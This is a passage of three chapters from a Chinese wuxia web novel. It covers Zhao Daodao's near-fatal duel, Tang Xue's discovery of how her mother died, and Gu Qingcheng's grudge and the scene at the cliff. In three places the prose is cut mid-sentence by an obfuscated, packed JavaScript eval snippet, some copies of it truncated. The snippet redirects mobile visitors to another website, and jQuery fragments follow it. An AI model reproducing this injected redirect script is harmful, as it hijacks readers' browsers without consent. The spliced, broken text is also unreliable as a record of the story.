世上竟真有人愿意为了别人拼命?唐雪何德何能。 她心中烦闷,有一个声音不忍。 这样一个少年天才,纵是自己师傅在此——不,不,赵刀刀现在还不及她师父,但是给她时间呢? 给她时间—— 天下第一,也绝非遥不可及。 但如果就此收手——过了这次就再也找不到比这更好报复唐雪的机会了…… 顾倾城看向唐雪,慢慢将所有情绪压在深冰之下。 此事不急,赵刀刀这样不要命的打法,撑得住多久还另说。 夜色起,点起了新的烛火。 最后十人早已把不伤人性命的原则抛之脑后,不是他们不能放水,实在是这时候谁放水谁就得死。 这道长长的走廊,竟像是通往炼狱。 时间磨人,众人的心神都落在廊道中的打斗上,有些麻木又有些亢奋。 顾倾城也不例外。 她看着赵刀刀奋力挥刀,忽然想起她傻兮兮坐在自己面前的样子。 心中一个念头不合时宜地升起,无关唐雪,她想看看赵刀刀能撑到几时。 她见过不少天才神童,那一线如果破得,此后一生也受益无穷。赵刀刀呢,她凭这一口气,还能走多远,还能撑多久? 刀剑相接乒乓声在走廊中不断回响。 赵刀刀头脑已不复清明,她只觉得自己好像有无穷无尽的力气。 但顾倾城等人眼中,却见她招式微微放缓了些。 她已想不起刀法中的种种招式,“奇”字不再,快刀亦不再,全凭本能挥刀。 她神志不清,不知道自己是谁,又为什么在这里,只知道手里握着刀,便不能停下。 侧身,避剑,挥刀,她也根本停不下来。 不能再打了。 再这样下去,赵刀刀非走火入魔不可。 “恩人!” “拦下她。”顾倾城冷声道。 50. 真相 唐雪靠近的动作一滞,冰家众人已经挡在她的面前。 唐雪的手紧了紧,她不想伤害母亲家的人。 但赵刀刀双眼通红,青筋在手上脖上暴起,神情越发癫狂,她的动作越发狂乱,黑刀重重劈在地上,再不拦下她,她真要走火入魔了。 唐雪越过人群看向顾倾城,高声喝道:“让开!” 顾倾城挥了挥手,周围人将唐雪团团围住,限制了她的行动。 “控制住她的手,注意她手里的东西,让她冷静冷静。”顾倾城道。 唐雪已被彻底激怒,她恶狠狠瞪着顾倾城,掷出飞镖警告靠近的人,“你们看不到恩人的样子吗?!为什么不去救人?你们真是母亲的家人吗?” “唐雪姑娘,你要相信顾神医。”冰家长老劝她道。 “我怎么信她?长老你们疯了吗,我才是母亲的孩子,为什么你们这时候还帮着她?”唐雪质问道。 顾倾城到现在还在冷眼旁观,她知道她恨她,可恩人何其无辜? 周围的人越来越近,唐雪的指缝间已遍布寒光。 “顾倾城,你一定要拦我?” 顾倾城冷笑道,“我拦你?你不如清醒下脑子想想你能做什么,你现在能停下她?” “我是不能,但我拼尽全力也要试试!” 顾倾城的神色一如既往的冷淡,“你省省吧。” 说完这句,她终于从站着的地方离开,没有看唐雪,反而靠近了赵刀刀。 唐雪一愣,手忽然被制住,她挣扎了下,没有挣脱。“你要做什么?” 和赵刀刀缠斗的人也瞥到了顾倾城,“顾神医,别过来,危险!” “我自有办法。”顾倾城没有停下,她的声音平静一如往常,像是根本看不到场面的危急。 一直停在原地的黑衣人盯着顾倾城拧紧了眉头。 顾倾城已走入交斗的内圈。 赵刀刀此刻神智不清,任何人靠近都会受伤,她却丝毫不惧地靠近。 众人为她捏了一把汗,提心吊胆地看着狂乱的争斗和被剑气刀意卷起的红衣。 忽然变故横生,赵刀刀不知为何竟放下对手不管,调转方向挥刀去劈顾倾城。 “顾神医!” 黑刀袭来,顾倾城的面孔也没有丝毫改色。 只见她抬起了一只手,红袖在空中划过一道弧度。 眼见黑刀要砍到她的手上,千钧一发之际,一柄巨剑拦下了攻势。 重击使时间凝滞一瞬,一道波纹沿着刀剑交接处荡开,众人耳边嗡嗡作响,忽然再听不到其他声音。 赵刀刀眼神微动,身子极不明显地晃了晃。 然而纵使巨剑拦下了刀刃,刀锋的气息还是划破了顾倾城的脸庞。 一道红痕渐渐显现,血珠从中凝出,在雪白的脸上艳的出奇。 顾倾城的神色依然没有变,反而从袖中掏出一把小刀,割开自己的食指。 唐雪看着这一幕,忽然分不清那道蓝衣和红衣到底哪个更疯。 顾倾城在做什么? 顾倾城眸中映着近在咫尺的刀剑,忽然道,“我见惯了死人和找死的人,像这样为了别人找死的倒不算多。” 众人只见她嘴唇微动,耳边还在嗡鸣,听不清说了什么。 顾倾城将指尖的血珠弹出。 重剑已挡下两招。 正当众人屏气凝神,以为黑衣人要慢慢制住赵刀刀时,却见赵刀刀手中的黑刀忽然脱手,重重摔在地上。 她突然闭上了眼,整个人失去力气,毫无预兆地向前倒去。 黑衣人接了一把,眼中闪过一丝惊讶。 情况出乎意料,赵刀刀面色疾速变得苍白,所有人都被吓了一跳,赵刀刀……莫非突然气急攻心死了?! 唐雪彻底挣开众人,向前跑去,“恩人!!” 黑衣人让开,唐雪从他手中接过赵刀刀,恩人的身体已经渐渐冰冷,她双腿一软,搀着赵刀刀一同跪在地上。 “你做了什么?”她看向顾倾城。 顾倾城没有理会,慢条斯理地拿出一张手帕。 “顾倾城,我一定会杀了你!” 顾倾城已经擦掉脸上的血,看着她幽幽道,“如果我是你,就不会浪费她用命换来的一个时辰,你不打看你母亲了吗?” 众人这才发觉赵刀刀发狂时逼得后面几人联手接战,细算起来,她已打到最后一关。 若不是黑衣人出手,或许她真能赢也说不定,只是赢的代价过于庞大,谁也没有料到会是这样的结局。 唐雪看了看怀中的恩人,又看向前方的冰棺,只觉得自己被割裂成两半。一个自己半步不想离开,一个自己又忍不住扪心自问,你真的不想见到母亲了吗? 左右为难间,冰家人将她搀扶着拉起,从她手中接过赵刀刀。 唐雪竟无力挣开,只能眼看着恩人离自己越来越远,在旁人的支撑下弓着背深深呼吸。 半晌,她终于清明一些。 唐雪压下悲痛,顾倾城那句话说的没错,这是恩人用命争取来的一个时辰。 她撑着发软的双腿走到冰棺旁。 顾倾城理顺衣襟,也走向冰棺。 廊道的尽头是个洞穴样的房间,房间里放着一尊冰棺。 冰棺旁此刻站着两人。 唐雪低头看着母亲安详的脸庞,颤抖着抚上冰棺,她的脸和母亲原来这么像。 唐雪母亲名叫冰灵,冰灵身侧有几封信,一叠手帕,还有些手工做的玩具。 寒气很快将她的手指冻僵。 她舍不得放开,泪水已无法控制地夺眶而出。 唐雪认出来了,这些东西和唐家堡的那本书和衣服一样,都带着熟悉的雪花标记。 顾倾城的声音从背后传来,“你本来不该见她。” “为什么?”唐雪不理解,“你为什么这么恨我?” “因为她因你而死。” “你骗我!这种时候了你还要编谎话骗我?顾倾城,我到底做了什么令你这么恨我?” “你是什么也没做。”顾倾城冷声道,“但你活得太好了。” 唐雪说不出话。 “你一生下来便享尽万千宠爱,所有的事都有人替你担负,所有的烦恼都有人替你解决,在唐家那个花园里,你只需要负责活得无忧无虑,开心就够了,这样的日子是不是很美妙?”顾倾城道,“是啊,哪怕离开了家也有人护着你,你一定从来不会去想,所有人的悲剧也因你而起。你怎么想的到呢?” “你在胡说什么……” “冰灵是生你那夜死的。” 顾倾城冷声道。 “不……” “唐堡主一定不敢告诉你,他把夫人交给顾家就一走了之,却反过来怪我们让他见不到冰灵最后一面。” “不……爹爹不会!” “有什么不会,他是个虚伪的人,你一定也不知道,他曾允诺你母亲两次婚礼,最终却只在唐家堡办了一次,让冰灵坏了家族的规矩。” “你骗我!” “我为什么要骗你?唐雪,你知道的实在是太少了,你不知道顾家为了吊住冰灵一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336449|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气用了多少灵丹妙药,也不知道我父母为了护你回去经历了多少危险,更不知道十一封求救信换来灭门是什么滋味!” 顾倾城冷笑一声,咬牙切齿道,“唐堡主可真够翻脸无情的,十一封信啊,我们帮他那么多,都石沉大海!” “这不可能是爹爹!他不是那样的人!” 唐雪越听越心惊,她阻止顾倾城再说下去,“一定有误会,你一定是认错了,爹爹不可能做出这样的事!他现在还保管着母亲的衣物,直到现在,他还一直相信没有见到尸身母亲就没有死!” “那是他装的!” “怎么可能?爹爹耗费无数心血,在武洲各地建立分部,一开始就是为了找人!他已经找了母亲十几年了!” “你说什么?” “十几年了,我们一直……一直都没有找到半点消息,我甚至……我甚至比他更早放弃了,但爹爹从没有想过放弃,这样的人怎么会是你口中那个人?” 顾倾城冷下眼神,十几年来,恨一直支撑着她走到今天,唐雪的话就算有两分真,也无法动摇她。 “你们父女俩,明明无情无义,倒都喜欢将自己扮作重情重义之人,引得旁人为你们出生入死。” “我会证明给你看的。”唐雪止住抽噎,擦干眼泪道。“顾倾城,我感激你保管母亲至今,但你从来没有亲眼见过爹爹,就将一切压在他头上,你知道的又比我多多少?我会证明给你看,一切绝非你所说的那样!” 她深深看了一眼冰灵,将母亲的身姿,相貌刻印在记忆中。 收回冻得通红的手,跪在地上,重重磕了三个响头。 唐雪的额间沾了尘土,血丝混着沙砾,一片鲜红。 她沉声道,“我会证明给母亲一个真相。” “我要带恩人走。” 唐雪起身道。 顾倾城忽然道,“如果唐堡主真的做了错事呢?” “你说的事不会发生,倘若真有万分之一的可能发生,我会让他亲自赔罪。”唐雪头也不回。 “等等。”顾倾城道,“她还没死。” “你说什么?!” 她明明已经摸到恩人冰冷的脉搏。 “我用药让她停下,中了这种药的人会暂时像死了一样。” “恩人她……还活着……”唐雪的心神已经麻木,呆呆呢喃了一句。 “你为什么要做这些?”她已经听过原因,却还是不由一遍又一遍地追问。 “顾倾城,我恨你。”唐雪道。 恨她?恨她的人太多了,顾倾城恢复了冷淡神色,道,“将她留在这里,我会治好她。” “我不信你。” “你不信我……” 顾倾城抬起手,手腕一翻,露出一个药瓶。 她揭开了盖子,倒出一枚蓝色的药丸在掌心,道,“那你信她吗?” 唐雪闻到香味一愣。“这是……” “这是冰灵留下最宝贵的东西,唐堡主若真像你所说那样,应该给你看过了。” 唐雪愣愣地点头,她确实见过,父亲说世间只有两颗,非生死关头绝不可用。 “你为什么会有……” 顾倾城收起药瓶,“这是我做的。” “什么?!” 顾倾城自顾自道,“我加了几味药,现在它只会更好。” 唐雪木然地看着她。 顾倾城道,“把赵刀刀留在这里,如果你想她活,现在天下只有我能救她。” 唐雪后退一步,表情似笑非笑,似哭非哭,忽然嘶叫一声狂奔而出。 51. 谜团 暮色四合。 赵刀刀醒来已经有一会儿。 她直直盯着床上的帷帐没有动,额角一突一突的钝痛着,仿佛有人在她脑子里胡乱地狂敲了一阵鼓又突然离去,徒留一地凌乱。 赵刀刀想不明白她为什么又回到了这个鬼地方。 她分明记得前一晚自己还在和唐雪说话,不知为何,一睁眼却又在走不出去的顾家小院。 难道和唐雪说话的记忆是一场梦?周向晚没有找到她,顾倾城也没有放了她? 赵刀刀盯着床头细细回忆,昨夜她第一次见到唐雪神情那样悲伤,受了伤不顾身体也要再去找母亲,唐雪应当在早上出发,怎么现在已经是下午了? 难道她昨夜回来之后睡过头,又被顾倾城使计抓走了? 思索间,赵刀刀耳朵一动,听见了门外的脚步声。 她闭上眼,装作还在熟睡的模样。 吱呀一声,有人进来了。 这不是顾倾城的脚步声,赵刀刀心中一惊,但她认识这道脚步声! 她掀开被子啪的一下坐起,“周向晚?你怎么在这?” 周向晚两步跨到她面前,惊喜道,“你醒了!” 他上下打量赵刀刀,“顾神医说的果然很准,你今天真的醒了!” 赵刀刀伸手制止他慢些,“等等,你怎么……也叫她顾神医?” 这称呼从唐二嘴里说出来便罢了,周向晚对顾倾城的态度怎么一夜之间也变了? “因为她真的是神医啊,她救了你!”周向晚道,“之前的事都是误会,唐雪放下了,我放下了,你也该放下了!” “她救了我?”赵刀刀皱了皱眉,她身上明明没有伤,这点她还是能感觉到的。 “她什么时候救了我?” “就在这几天啊!”周向晚不解,“刀刀,你怎么了?我去找她……” “不,不用。”赵刀刀拦下他,“你先和我说说,这几天都发生了什么?” 赵刀刀已经从周向晚的话语间明白她睡过去的不止一个晚上,不然周向晚和唐雪的转变实在太离奇了。 但是这种只有自己被蒙在鼓里的感觉真不好受,顾倾城不是阻拦唐雪见她母亲么,唐雪怎么放下了,她已经见到了?顾倾城不再拦她了? “你不知道吗?和唐雪一起出去的人是你啊。”周向晚有些惊奇,“我是被顾神医派人带来的,我来的时候只见你躺在床上,一直没醒,我也不知道发生了什么。” “唐雪呢?” 周向晚摇头,“我没见到她。” “你没见过她?那你怎么说她和顾倾城已经放下了?” 周向晚眼神中光芒一闪,得意地展开扇子道,“因为我看见了!” “看见什么?” “我看见了顾神医拿出来的手帕,那上面绣着一朵蓝色雪花!” 赵刀刀神情大震,“那个手帕……”唐雪说过,那是她母亲的东西。 周向晚扇着扇子道,“我见过唐雪的飞镖,你也见过吧,她的飞镖上都有朵蓝色雪花,和唐家其他人的不同,巧的是,顾神医手帕上的雪花和飞镖上的一模一样,不是唐雪送的还能是谁?她们定是暗中和好了,没有说出来而已。” 赵刀刀垂眸,周向晚还不知道唐雪母亲的事。 唐雪说过那手帕是她母亲的信物,是有人寄到唐家堡的。 而用玄冰棺保管唐雪母亲尸身的人哪怕不是顾倾城也定然和她有关,说不定信就是她寄的。 赵刀刀无法判断周向晚看见的手帕到底是顾倾城拿回去的,还是唐雪送给她的。 她的视线在屋中扫过一圈,问,“这些天你一直没有见过唐雪吗?” 周向晚摇头,“我试着找过了,也问过唐二了,一直没有见到她。” 他安慰赵刀刀,“不过不用担心,唐二说他收到了唐雪传去的消息,唐雪没事,只是想一个人待着。” 赵刀刀点点头,走到桌边拿起自己的黑刀。 随即想起什么,问,“你现在一直待在这里?” “是啊,唐家好像要换些人过来,我怕给他们添麻烦,正好顾神医这里只有你一个,我就过来了。” “你到了这里之后还出去找过唐雪吗?” 她状似不经意问。 “是啊。”周向晚疑惑,不是刚才答过? 赵刀刀点头,放下心来,看来顾倾城这次不打算关住她。 但事情还有很多蹊跷,她不记得的这些天一定发生了什么,唐雪不是不告而别的人,顾倾城也不会无缘无故帮她治伤。 赵刀刀道,“你知道顾倾城在哪吗?” 周向晚摇头,“顾神医实在太忙了。”他感慨道,“除了需要给你换药的日子,她极少出现。” 赵刀刀点头,道“我出去一趟。” “你的伤刚好!”周向晚在身后叫住她。 赵刀刀笑了笑,抬了抬胳膊,“你也说了,她是神医,我的伤已经全好了,没有比这更好的时候。” 见他神情担忧,又道,“放心,我只用走的。” “你记得晚上回来喝药!”周向晚叮嘱道。 “记下了!” 话毕她跨门而出,周向晚走到门口时已看不见她的身影。 赵刀刀第一次凭自己走出了这个小院,她跃上屋顶,寻找顾倾城曾和自己待过的那个地方。 “赵小刀?”她轻声喊道。 黑刀没有回应。 赵刀刀抿了抿唇。 她的动作忽然一滞。 赵刀刀惊疑地探过胸口袖内,没有,她看向腰间,没有,她怎么会把老板娘的信和剑缰弄丢了?!昨夜……不,她记忆中见唐雪那时还在身上! 赵刀刀停下扶着头,她想不起来。 她冷下眼神,决定先找到顾倾城。 赵刀刀在顾家探寻,没了恼人的阵法,她才发现这里大的出奇,草木繁盛,不像人家倒像森林,她住的小院只是其中偏僻一角。 她耐心探到天黑,没有找到那间屋子,也没有碰到什么人,只得先记下路线折返。 周向晚正在门外等她。 他见赵刀刀回来,上前道:“你终于回来了,顾神医刚派人送了药来!” 赵刀刀一愣,“人呢?” “顾神医事忙,没有过来。”周向晚道。 “不是,”赵刀刀摇头,“送药的人走了吗,去的什么方向?” 周向晚抬手指了个方向。 赵刀刀神色晦暗不明,那正是她回来的方向,她根本没有看到什么人。 “送药的人长什么样?” “是个小姑娘,她好像不能说话。”周向晚有些惋惜,“顾神医不在的时候都是她来送药。” 赵刀刀点点头,进了屋。 好像在这里,不论她怎么努力都会错过。 这里的规矩是顾倾城立的,她看不透那个人,也走不出她的规矩。 她端起药碗,汤药还温热着,“送药的一直是这会儿来吗?” 周向晚摇头,“平时比今天要早些,大约是顾神医料到你醒来一定会跑出去吧。” 赵刀刀将药一口喝完,将碗放到一边又走出去。 “这么晚了,你还要做什么?”周向晚跟在身后问。 “练刀。”赵刀刀道。 “不行!”周向晚忽然拿着扇子拦在她面前,道,“刀刀,顾神医说了,在完全养好伤之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352798|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你绝对不能练刀。” “我了解自己的身体。”赵刀刀拂开他的手。 周向晚抓住她的手腕。“你刚喝完药,需要静养。” 赵刀刀挣开道,“我真的没事,你也看到了。” 周向晚见她充耳不闻,一意孤行,急道,“你如果没事怎么会受这么重的伤?你差点就死了你知不知道!” 赵刀刀握紧刀柄放下黑刀,转身看他,“……你说什么?” 周向晚道,“我本来觉得你忘了也好,但你为什么总是这样?赵刀刀,我眼看你昏睡了半月有余,若不是顾姑娘一心施救,或许你早就一睡不醒,你脉象平稳后,还差点打伤顾神医!” “怎么会……” “怎么不会?若非她不计前嫌将你捆在床上为你施药,你连站在这说要练刀的机会都没有!平时便罢了,你夜里练刀我和唐雪从不阻拦,但你刚从鬼门关走回来,命只有一条,不急在这一会儿!” 赵刀刀沉默地看着他。 她总是这样? 是,她只会练刀,她开心了练刀,烦闷了练刀,难过了也只会练刀。 没有人告诉她可以停下来,她也不觉得可以停下来。 “我知道了。” 赵刀刀提着刀走进屋中。 周向晚松了口气,唐雪不在,他还以为他劝不住她。 赵刀刀放了刀坐下,问,“你知道怎么见顾倾城吗?” “你是该去亲自谢她。”周向晚道。 他坐到另一边,摇头,“不过我不知道法子,顾神医太忙了,柳城每日找她的人太多,暗地里还有外城来的侠士排着队等她。” “她这么厉害?” “是啊,听说多的是人愿意用黄金百两换她一碗药膳,可惜她看病救人全凭心情,有钱也没有门路。”周向晚道。 “不过我们都在顾家了,一定会有机会的。” 赵刀刀点头。 周向晚缓声道,“你现在醒了,更该好好休息,我明天再出去打听打听剑的事,你要是闲不下来就去找唐雪吧……不过说不定她玩够了就自己回来了,总之等找到唐雪,你的伤好全了我们就离开这里。” “好。”赵刀刀顿了顿,问,“你要怎么打听消息?” 周向晚道,“其实这事本该你来的,认识剑的人定然也认识你身上的剑缰,不过你在柳城这么久也没有人找过来……”他忽然想起一事,“你之前说,顾神医知道剑缰的事?” 赵刀刀点头,“她提过一次。” “她后来没再说过吗?” 赵刀刀不忍在这时告诉他自己把信物都弄丢了,含糊道,“没有,要是碰上我再问问她。” 她问,“找剑的事不用我帮你吗?” “不用。”周向晚道,“既然给你信物的那个人让你来柳州,使剑的人肯定就在这里,人在这,剑肯定也在。虽然那剑的名字十分普通,但我们都到柳州了,一定有人听过,我用剑名打听也是一样的。” “剑的名字很普通?”难怪周向晚通晓天下兵器,却总是用一个剑字指代他心中至宝,赵刀刀好奇道,“有多普通?我的刀叫赵小刀,有这个普通么?” 周向晚乍听黑刀之名,神色一愣,无奈道,“你怎么给刀起这个名字……” “他是我的刀。”赵刀刀回答的很简单。 “好吧,你确实是这样的人。”周向晚扶额道,说着他忽然发现了一件事,“这样看,你的刀和那位前辈的剑还有些像!” “那把剑叫什么?”赵刀刀好奇更甚。 “跟你的刀一样,你听到那个名字一定不觉得那是一把剑。” 周向晚道。 “那把剑叫六月三更。” 52. 悬崖 赵刀刀对老板娘要找的人本来只有不多不少的好奇,但听到剑名的那一刻,她忽然很想见到那个人。 六月三更……为什么要给剑起这样的名字? 难道和她的刀一样,那把剑也有什么独特之处? 第二天她起了个大早,跃上屋顶静静等待。 送药的人果然如周向晚说,很早就来了,赵刀刀这次远远就看见了人影,她提前翻进屋中,做出刚起来不久的模样,开门接过药喝下。 送药的姑娘冲她笑了笑,将昨晚的药碗一同拾进药盒放好。 赵刀刀见过她,上次在这也是承她照顾,她回了个微笑,道了声谢。 姑娘笑着摇摇头,用手指指赵刀刀,又在空中比划着什么,长着嘴发出“啊,啊”的声音,见赵刀刀不解,有些焦急。 赵刀刀指了指自己,“我?” 姑娘点点头。 赵刀刀一点点猜测,“我……上面?” 姑娘连连摇头。 “厉害?”赵刀刀接着猜。 “也不是?”她学着动作比了比,“我……好了?” “你是想说……我的伤好了?你很开心?” 姑娘点点头,眼睛亮晶晶的。 “谢谢你。”赵刀刀道,“是你一直照顾我,我才能好的这么快。” 姑娘又拨浪鼓一样摇头,张嘴想说什么,她不断指着药盒,让赵刀刀看。 “药?你想说……顾倾城?” 啪的一声,这小姑娘的双手在胸前拍掌合十,点头看着她。 “我知道,我当然也很感激她。” 送药的姑娘弯了弯眼睛,开心地左右晃了下头,小辫子也随着翘起落下。 她又指了指桌上的黑刀,板着脸双手在胸前交叉。 赵刀刀明白了,笑道,“你的意思是我现在不能练刀?嗯,周向晚昨天同我说过了,我不会做的,放心吧,我很惜命的。” 姑娘又笑了,将药盒端起脚步轻快地离开。 赵刀刀站在门口目送女孩离开,见她走远了才跟上。 她虽然答应了不练刀,却还是将黑刀带在身上,从屋顶飞入树林。 赵刀刀提着的心在林中渐渐落下,这次她没有跟丢。 她将气息放缓到近乎虚无,始终隔了段距离在最隐蔽的角落藏身,即使是最厉害的高手,也不能觉察她的存在。 那姑娘带去的方向和赵刀刀昨天探的不是一路,但这里的房间更像她和顾倾城待过的那种风格,赵刀刀已遥遥看见一件屋子四门大开,挂着的帷幕在空中翻飞。 她没有立刻离开,继续蹲在树梢上,从树叶的间隙观察四周。 只一小会儿,赵刀刀就觉得自己也要被熏入味儿了,这里药味儿太浓,挥之不去,不是一朝一夕可以形成。 她第一次这样清楚地意识到顾倾城虽然年轻,却实在是个经验丰富的医生。 赵刀刀抿了抿唇,本打算等那个姑娘出来,却突然眸光一定。 一个黑衣人从树下走过。 赵刀刀没有看见他的脸,但她死也不会忘了他背后那把巨剑。 这不是柳城门口的刺客首领?他为什么会在这? 心神一转间,赵刀刀已经换了目标,悄然更上黑衣人。 跟在这人身后她更小心了,距离拉开更小,动作也竭尽所能地轻微,全神贯注将自己融入四周隐蔽气息。 黑衣人脚步不停,赵刀刀看见他走进重重帷帐,又从同一个方向出来,一进一出,中间几乎没有停留。 他又往药房那边走了。 屋檐遮挡了视线,赵刀刀看不到屋中景象,只看到靠近门口的花草,她不觉得黑衣人会无缘无故走进一间房散步,房中是谁?他和这里的谁有联系? 思索间她正打算继续跟着黑衣人,却忽然僵住了。 房间里又走出来了一个人。 她站在门口的台阶上,红衣在风中翻涌。 想找的人就在眼前,赵刀刀却眉头紧皱。 不待她想更多,又有一位少年走到另一扇门门口,张望了下朝顾倾城走去。 少年冲顾倾城行了个礼,惊喜道,“顾神医,你在啊。” “什么事。”顾倾城淡淡道。 “长老他们已经出发半月,我收到他们的信了!哥哥正在按你所说的练习,他让我来转告你信中内容。” 赵刀刀凝神细听。 “冰长老说了什么?” 冰长老……唐雪的母亲不正是姓冰?这少年是冰家的? 顾倾城果然和唐雪的母家有关系。 “长老说你医术高明,但也要顾好自己的身体。” 顾倾城淡淡笑了,“我知道,你们回信时帮我一并回了吧。” “嗯,神医,长老还说……”少年有些难以启齿,下了极大的决心才说,“他说唐雪是个好孩子,冰家不怪她,冰灵也不怪她,你该放下了。” 少年声音清亮,转达老者的话时总有股微妙的错位,估计他自己也觉得别扭,说完一句就立刻闭上嘴,憋着气。 顾倾城冷淡道,“这是我和她的事。” 少年弱弱道,“长老说非要算的话冰家也对不住你。” 他攥着衣角,杵在原地还没有离开。 顾倾城淡淡道,“还有什么,你全部说完就是。” “神医,长老……长老说你年少有为,同样不应为仇恨所累,他说你们年纪相仿,如果没有这事应当会成为一对姐妹。” 少年语速很快,没有断句一股脑说完。 “我说完了!” 他泄了气看顾倾城的脸色。 顾倾城面无表情,道,“承了顾家的好,现在还想要唐家的好处?” “让他别白日做梦了。” “不不……不敢,神医,长老绝无此意!”少年匆忙辩解,急得满头是汗。 “嗯,我知道,你告诉他专心赶路就行,如果不是带着一具尸体尤嫌不够的话,别再管这种闲事。” “我我我我知道了!”少年被顾倾城平淡话语下的含义吓到有些结巴。 顾倾城挥了挥手,招来一人,“送他回去,我出去走走。” 赵刀刀正欲跟上,却差点一个不慎从树上掉下。 “刀刀。”黑刀忽然出声了。 她轻拍胸口,缓下心跳,幸好那黑衣人早走了,这里的人察觉不到她,“小刀,我刚病好,差点被你吓出病了。” 赵小刀沉默片刻,低声道,“我错了。”他问,“你的伤好了?怎么在这?” “昨天就好了,我也不知道。”赵刀刀摇头,“对了,你知道那天之后发生了什么吗,我只记得找唐雪那晚了,之后的事有些记不清了。” 赵小刀一愣,“你忘了?” “嗯,你知道多少,都跟我说说。”赵刀刀边说边提气跟上顾倾城。 “你……”赵小刀缓声道,“那天晚上你决定帮唐雪。” “然后呢?” 赵小刀的声音带着微不可察的颤抖,“第二天早上你收拾好出发了,等我再醒来时,在一个长廊样的地方……那时你与人相斗,走火入魔,差点疯了,唐雪被人拉着……是柳城外出现的那个黑衣人帮顾倾城制住了你,然后将你带回了顾家。” “……唐雪呢?她见到她母亲了吗?” “见到了。” 赵刀刀舒了口气。 “但是不知道顾倾城与她说了什么,唐雪最后跑出去了。” 赵刀刀的心又提起了,难道周向晚说的失踪从那天就开始了,唐雪一直没回来? 赵小刀静了片刻,忽然道,“刀刀……你……下次不能那样帮人了。” 赵刀刀知道小刀只有关心至极才会说出这种话,大概当时真的很凶险吧,她轻敲了下脑袋,不知自己还能不能想起来那段记忆。 最近关心她的人很多,赵刀刀已经答应了很多人,赵小刀是最特殊的一个,她自然更要答应。 她保证道,“下次不会了。” 顾倾城走了很久,周围越来越偏僻,赵刀刀跟在她身后,藏身之地变少,距离越拉越远。 她忽然停下,看着顾倾城走到一处断崖边上。 “看来不用跟了。”赵刀刀自语道。 见顾倾城站在悬崖边上又往前走了几步,停在一个极靠近崖边的危险位置,仿佛下一步就要坠落深崖,赵刀刀心中一惊,正欲冲出。 “她要做什么?” 赵小刀冷声道,“她都不急,你急什么。” 下一瞬顾倾城大袖一挥,席地而坐,赵刀刀提着的心才放下。 她终于有心思再寻落脚点。 见崖边有一巨石高耸,形状怪异,约有六人合抱之壮,赵刀刀心中一动。 顾倾城以前想事情的时候会来这里,但这几年为了照顾师父,她已经很少再来。 她也不知道自己怎么就走到这里,甚至顺势坐在崖边,曾经的习惯竟比她以为的还要顽固。 顾倾城从怀中掏出一个飞镖。 她知道冰家人说的没错,唐雪不是什么坏人,但她已经恨了太久了。 让她活到今天的理由,全系在恨之一字。 她恨这天下不公,恨自己,也恨唐雪。 他们不明白,即使所有人都在劝她,这股恨意也不可能消失。 一滴水掉落在飞镖上。 天开始下雨了,淅淅沥沥。 顾倾城垂着眼眸苦笑一声,老天也总是和她作对。 她握紧了飞镖,棱角扎在手心。 突然,身后伸出一只手将她推了出去! 一霎那,失重的感觉让心脏狂跳不止,顾倾城喉咙噎住,一颗心提到了嗓子眼。 她一向执掌别人生死,此刻自己在生死边缘,竟一句话也说不出来,一时惊怕,想起自己手上医白骨治死人,忽觉,原来死亡真可以来的这样轻易。 死亡岂非就是这般轻易。 往日觉得平静的悬崖,这时候底下竟然像是有一只巨兽张开血盆大口,让人觉得危险万分,不敢多看一眼。 顾倾城闭住了眼睛,大脑一片空白。 身后的手却没有一推了之,而是牢牢拽着她的衣襟。 顾倾城脸色苍白,嘴唇也没有一点血色,闭眼之后心跳却渐渐平稳,她仇家众多,此刻身后到底是谁连想也不屑去想,只觉得如果就此坠崖,何尝不也是一种解脱。 身后的人出声道:“你不怕这里,是因为尽管看起来危险,但你觉得自己完全处于安全之中,不会掉下去,对吗?” 赵刀刀额头巨痛,手上青筋暴起,她想起来了。 她认出了那是唐雪的飞镖,那飞镖本来在她身上,在长廊中被自己丢了出去。 她不止想起了长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她直直看着顾倾城的眼睛,“你救了我,我很感激,但是你拿唐雪的母亲狠狠伤她,她又哪里对不住你?你明知道她什么都不清楚!” 顾倾城似无奈地哈了一声,又冷笑了一声,接着忽然狂笑不止,笑到发咳,“你也是来说这个的?你又知道什么?!你无亲无故,当然觉得什么都无所谓,一切都可以原谅,你知道什么是血海深仇,什么是丧亲之痛吗,你又知道什么?!” 赵刀刀横眉冷道,“死去之人就这样重要吗?你长这么大,怎么还像个孩子一样任性?” 顾倾城缓下咳嗽,满怀恶意地看着她道,“我真羡慕你……可是,我又好同情你!一个连仇恨是什么都不知道的人,真不知道是幸运还是不幸。” 赵刀刀一噎,她这会儿也不知道到底是唐雪不对,还是顾倾城不对了。 其实刚刚所言,更多是借唐雪之由出自己一口恶气,顾倾城毕竟救她一命,算起来,自己竟然还是欠她的。 正是算不清,想狠却狠不下手,她才只能借唐雪来说。 可顾倾城这番话却忽然将她说得无言以对。 崖边风冷。 时间在雨中凝滞。 